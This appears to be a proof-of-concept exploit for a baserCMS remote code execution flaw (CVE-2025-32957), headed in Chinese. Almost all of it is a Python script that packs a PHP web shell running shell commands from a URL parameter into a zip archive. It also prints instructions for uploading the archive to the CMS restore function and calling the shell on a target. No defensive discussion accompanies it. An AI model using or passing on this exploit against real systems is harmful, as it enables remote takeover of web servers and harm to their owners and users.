CVE-2025-32957 baserCMS 远程代码执行漏洞

import zipfile import os # Create a malicious PHP file content (WebShell) php_code = "<?php system($_GET['cmd']); ?>" php_filename = "evil_shell.php" # Create a zip file containing the PHP script zip_filename = "basercms_poc.zip" try: with zipfile.ZipFile(zip_filename, 'w') as zf: # Write the PHP file into the zip archive zf.writestr(php_filename, php_code) print(f"[+] Successfully created malicious zip file: {zip_filename}") print(f"[+] Upload this file to the baserCMS restore function endpoint.") print(f"[+] Once processed, the malicious PHP will be included and executed.") print(f"[+] Example usage: http://target/path/to/extracted/file.php?cmd=ls") except Exception as e: print(f"[-] Error creating zip file: {e}")